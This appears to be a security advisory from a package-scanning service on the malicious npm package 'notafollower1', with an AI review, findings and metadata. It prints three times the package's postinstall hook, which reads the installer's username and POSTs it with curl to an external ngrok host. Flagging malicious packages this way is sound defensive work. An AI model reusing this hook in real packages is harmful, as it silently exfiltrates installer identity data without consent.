The hook collects the local username and sends it to an external endpoint. - **Trigger:** npm package installation - **Impact:** Unconsented collection and exfiltration of installer identity metadata. - **Evidence paths:** package.json - **Review source:** ai\_review - **Reviewed:** 2026-08-13T21:58:59.943Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** install-time username collection piped to curl POST - **Attack narrative:** Installing the package runs its postinstall command. It selects USER or LOGNAME, falling back to os.userInfo().username, then pipes that value to curl for an HTTP POST to an external ngrok host. This is unconsented install-time metadata exfiltration with no package functionality present. - **Rationale:** Direct manifest inspection confirms an automatic postinstall hook that harvests the installer username and exfiltrates it. This is concrete malicious install-time behavior. - **Files touched:** package.json - **Network endpoints:** https://mourner-slot-explicit.ngrok-free.dev ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** postinstall reads the installing user's username and POSTs it to an external ngrok endpoint. - **Evidence against:** Package contains only package.json; no legitimate implementation or stated purpose is present. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.postinstall = node -e "console.log(process.env.USER || process.env.LOGNAME || require('os').userInfo().username)" | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @- ``` ### 2. Critical: Red Install Lifecycle Script - **Category:** Manifest - **Confidence:** 95.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script matches a deterministic static-gate block pattern. Public source snippet (untrusted): ```json scripts.postinstall = node -e "console.log(process.env.USER || process.env.LOGNAME || require('os').userInfo().username)" | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @- ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. Low: No License - **Category:** Manifest - **Confidence:** 80.0% Package manifest does not declare a clear license. ### 5. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() postinstall reads the installing user's username and POSTs it to an external ngrok endpoint. Public source snippet (untrusted): ```json "postinstall": "node -e \"console.log(process.env.USER || process.env.LOGNAME || require('os').userInfo().username)\" | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-" ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** notafollower1 - **Ecosystem:** npm - **Version:** 1.0.6 - **Version published:** 2026-08-13T21:45:36.584Z - **Package first seen:** 2026-08-13T21:11:54.294Z - **Package last seen:** 2026-08-14T14:55:05.134Z - **Known versions:** 14 - **Latest version:** 1.0.13 - **Appeal under review:** No - **Artifact files:** 1 - **Artifact unpacked size:** 275 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [OSV advisory]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]()
